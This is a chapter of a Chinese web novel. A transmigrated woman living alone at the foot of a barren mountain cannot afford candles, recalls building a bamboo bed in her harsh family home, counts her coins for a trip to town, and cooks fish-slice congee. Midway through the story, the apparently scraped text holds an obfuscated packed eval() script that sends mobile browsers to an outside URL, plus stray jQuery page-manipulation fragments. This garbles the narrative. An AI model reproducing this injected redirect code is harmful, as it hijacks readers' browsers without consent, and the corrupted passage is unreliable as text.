32.生滚鱼片粥

作品:《荒山安居日常

    安朝没有现代社会的光污染,这里的天空,一到天气晴朗的夏夜,抬头便是灿烂的星海。


    群星璀璨,星罗棋布,坐在院子里一边按肩一边仰头的黄迎春却一点儿也不在意,她满心满眼只有高悬在夜空中的一轮明月。


    月华如水,月光的清辉洒进前院,为忙碌不已的黄迎春无私地照亮一方天地。


    手上有伤,不耽误黄迎春马不停蹄地从日出忙到日落,吃过夕食后,再从日落忙到深夜。


    为了第二天有力气劳作,黄迎春脱鞋上炕的时辰向来有定数。


    自然,其中也有她夜间没有照明工具的缘故。


    蜡烛,黄迎春是买不起的。


    安朝的蜡烛,材质主要是蜂蜡,而蜂蜡来自蜂巢,蜂巢数量有限并且取之不易,所以黄蜡的价格向来高昂。


    黄迎春在永安城逛街时,曾在香烛行里见过一种白色的蜡烛,不管是形状、颜色还是质地,和她在现代看到的蜡烛都很相似,几乎可以说得上是一模一样——直到内心充满激动的黄迎春开口问了价钱。


    上百文的价钱一入耳,黄迎春“他乡遇故知”的喜悦之情瞬间消失,她那颗躁动不已的心脏也瞬间淡定下来了。


    现代?这是安朝!


    上辈子?那都是过去的事情了。


    白蜡?这明明是用乌桕子做出来的桕蜡。


    黄迎春将她买不起的蜡烛看了又看,这回,任由它的样子与记忆中的蜡烛再有几分相符,黄迎春也能笃定地在心里反驳:“不,它们不一样。”


    现代五毛钱一根的蜡烛,在安朝,竟然要卖二百文!


    每回在心里做这样的换算,黄迎春都难掩心酸——怎么别人穿越都有金手指呢?如果她也有一个能穿越位面的超市,那该多好啊!五毛钱一根的蜡烛,她屯上几大箱,就是在安朝折价卖,也能把自己变成一个快乐的小富婆。唉,说来说去,还是她投胎的技术不行。上辈子没能有对开香烛店的父母,这辈子农家开局,既无奇遇傍身,又没天命指示,还命运多舛,两辈子,全都不是大富大贵的命。


    那上天让我带着记忆投胎到安朝的意义是什么?


    黄迎春出生的第一年,一直在思考这个问题。


    初生的她,身体是个实打实的婴孩。


    爹娘爷奶没空带她,成天不是让她自己一个人在竹篮里躺着,就是把她用布条绑了让她在后背上趴着。


    黄迎春无所事事,只能睁着一双眼睛默默观察这个世界,并随时随地地在自己的大脑中进行思考与发问。


    黄迎春想的最多的一个问题是:这辈子,我要怎么活?


    没等黄迎春想明白,她这辈子的娘又揣了一个崽。


    娘怀孕了,自然不能再背她,于是黄迎春又被放到竹篮里。


    然而,黄迎春已经看过外面的世界,自然不满足于成天待在一间低矮破败的土屋里,于是她早早学会爬,接着又在磕磕碰碰中学会走路。


    黄迎春当时不知道,黄家人默认孩子会走路就会干活。


    她后来无数次想,如果她早知道这回事,哪怕被人误会成一个发育不良的傻子,她也一定要在竹篮里再躺上个一年半载的。


    总之,黄迎春学会走路之后,她的苦日子就开始了。


    黄迎春再也没有闲心去思考她这辈子要怎么活,因为她的人生怎么活,她说了不算,在这个孝道大过天的世道,任何一个辈分比她高的黄家人都能对她指手画脚,给她指派活计。


    黄迎春不再思考她要怎么活她的第二辈子,她只想要自由。


    后来,黄迎春终于得偿所愿。


    然后,一个陌生又熟悉的问题再度缠上她,让她寝食不安——自由了,能自己做自己人生的主了,现在呢?以后要怎么活?


    在杏林医馆治病的那些日子,黄迎春也算看尽了人间百态,她终于可以给出答案。


    “我要吃饱,穿暖,自由、有尊严地活着,活每一天。”


    最后一次踏出医馆大门时,她在心底暗暗立誓。


    所以,顶着监工和脚夫不理解的目光,黄迎春兴高采烈地在荒山脚下安了家。


    三个多月过去,黄迎春只恨自己当初立誓时没在“自由”二字前加上一句“富有”。


    财富自由,才是真正的自由啊!


    黄迎春曾经质疑过这句话,这辈子,她从未对这句话的真实性产生动摇。


    “人一辈子,缺什么都不能缺钱哪。”活了两辈子的黄迎春在月亮下叹气。


    她上辈子虽然因工猝死,但好歹也是死在明亮刺眼的四十瓦日光灯管下。


    谁能想到呢?


    这辈子她连一根蜡烛、一个油灯都买不起,想在夜里干点活,还得借着月光加班。


    而且,这月光还不常有,一个月只有一次满月,只有满月那天以及前后几天夜晚的月光才够亮,才能给她提供有效的照明。


    黄迎春一边给鱼篓收尾,一边自言自语:“不行,有空还得去松树林搞点松明回来,不然到了冬天怎么办呢?”


    黄迎春烦恼的事情不止这一件,拥有一架夏秋时节睡的竹床对黄迎春来说是一件刻不容缓的事情。


    黄迎春会做竹床,那是她小时候和她重男轻女的爹学的。


    她和二妹挤在两块木板上睡了不知多少年,爹一眼都看不见,黄家金贵的第三代男丁一出生,她爹就着急忙慌地上山伐竹,向木匠借了工具,又朝爷奶讨来桐油,给她弟弟打了一架崭新的竹床。


    黄迎春在旁边打下手,一边看一边学,后来趁着工具还没被爹还给木匠,自己也上手打了一架竹床。


    二妹向来会躲懒,那时候不知道怎么回事,竟也争着来帮忙。


    黄迎春先前还疑心她的用意,后来才知道二妹是想让她也给她打一架。


    女儿再疼爱,也比不上儿子。


    二妹知道她是无法让爹专给她打一架竹床的,便把主意打到了她身上。


    黄迎春还记得二妹当时一边给她抬竹子一边笑着说:“没有自己的屋子,有一架自己的床也很好。”


    只是二妹忘了,她们姐妹俩睡的屋子很小,放不下第二张床。


    竹床还没彻底做好,木匠便上门来讨工具。


    村里的木匠也是农夫,只有农闲时才往外寻活计,有了订单就要赶紧给人家做,一点儿时辰都误不得。


    二妹哭着求着,木匠还是把工具拿走了。


    后来,黄迎春磕磕绊绊地把那架竹床打好,想请二妹弃了木板和她一起把竹床搬进屋里睡时,二妹不肯帮忙,反而还在屋里摔摔打打地甩脸子:“不就一架竹子做的破床吗?有什么好的,连油都没漆,睡不了两年就得被虫蛀,哪天睡着睡着摔断腿了都不知道!”


    二妹大声吵嚷的声音惊醒了安然睡在大竹床上的弟弟,挑起了爹娘爷奶的火气。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947781|190244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    黄迎春不记得那场风波后来是怎么平息的了,她在黄家最后的记忆,只有那架她千辛万苦打的竹床,被埋在寒冷的雪下,她怎么拔也拔不出来,也没人过来帮她拔。


    “不能再遇上那种事。”黄迎春放下编好的鱼篓,走进卧房,把埋在包袱底下的铜钱串拿出来,一边数一边想道。


    去镇上添置物品,是势在必行。


    黄迎春虽然不知道买齐打竹床用的工具要花多少钱,但用脚趾头想也知道,凡是粘上铁的东西,价钱一律低不了。


    一千个铜板全出去也未必够花,况且也不能一点儿老底都不留。


    黄迎春数了又数,分了又分,想了又想,犹豫了再犹豫,最后还是决定带走六百五十文。


    六百文用原来串钱的细绳接着串着,绳口牢牢地绑紧。


    另外五十文被黄迎春先放在一边,待要去镇上的那一天,揣在怀里方便随时取用。


    “还是不够啊。”黄迎春掂着铜板的份量,轻轻地叹了一声。


    一枚枚铜板堆起沉重的山,黄迎春望着它们,却看不到它们即将能给她置办来一些什么物品。


    黄迎春洗过手,躺在炕上翻来覆去地烙饼,在心里一笔笔地念着要带去镇上卖钱的东西,怎么想都觉得她攒的那些山货换不了多少钱。


    心里存着事的黄迎春在满月天忙到深夜,又在炕上躺了许久才闭眼,第二天依然早早便起了。


    她挑着木桶赶去河边,在河里下了一网又一网。


    捕鱼去卖,是黄迎春想到的唯一一种能尽量添补家用的方法。


    乡下人家,只要靠水,自然是不缺鱼吃的。


    而住在镇上的人家,虽然没空也没地捕鱼,但他们的营生比乡下人家要赚钱许多,在吃肉的频率上也比乡下人家高出许多。


    他们想吃鱼,只能花钱买。


    黄迎春打的便是这个主意。


    在镇上先卖鱼,再拿卖鱼的钱去买东西,若是运气好,兴许还能给自己剩几个铜板。


    不过,凡是掺了钱的买卖,买家都有挑货和喊价的资格。


    临安镇河湖多,船夫撑着小船在河湖中央随便撒个网,捞上来都不知道有多少条鱼,数量多也就罢了,新鲜度也不是住在荒郊野外的黄迎春送到镇上的鱼可以比拟的。


    临安镇上有许多家鱼行,街上和桥边也从来不缺卖鱼的渔夫。


    黄迎春没有优势,所以她已经想好了——打骨折卖,只要给钱就卖!


    “鱼是不值钱的!”


    拼命给自己洗脑这句话的后果就是黄迎春今天早上在给自己做朝食时,一不小心把整条草鱼都给切了。


    “……”


    切都切了,还能怎么办呢?


    迫不得已,黄迎春给自己做了一锅鱼片比米多的鱼片粥。


    去了刺的鱼肉,用刀片得薄薄的,放入油、盐、蒜末、葱碎等调味料拌匀,再铺在碗底,放上姜丝。


    热粥煮好后,直接从锅里盛出来淋上去,鱼片三五息功夫便可烫熟,再撒上一些紫苏叶切成的细丝,用筷子稍微搅弄几下,一碗生滚鱼片粥就能开吃啦。


    刚从河里捞起来的草鱼只有一个字——鲜!


    鱼片鲜嫩细腻,一点儿腥味也没有。


    趁热吃上几口,整副肚肠都暖了。


    “真好吃啊。”


    黄迎春端着滚汤的碗,吃得眉眼弯弯。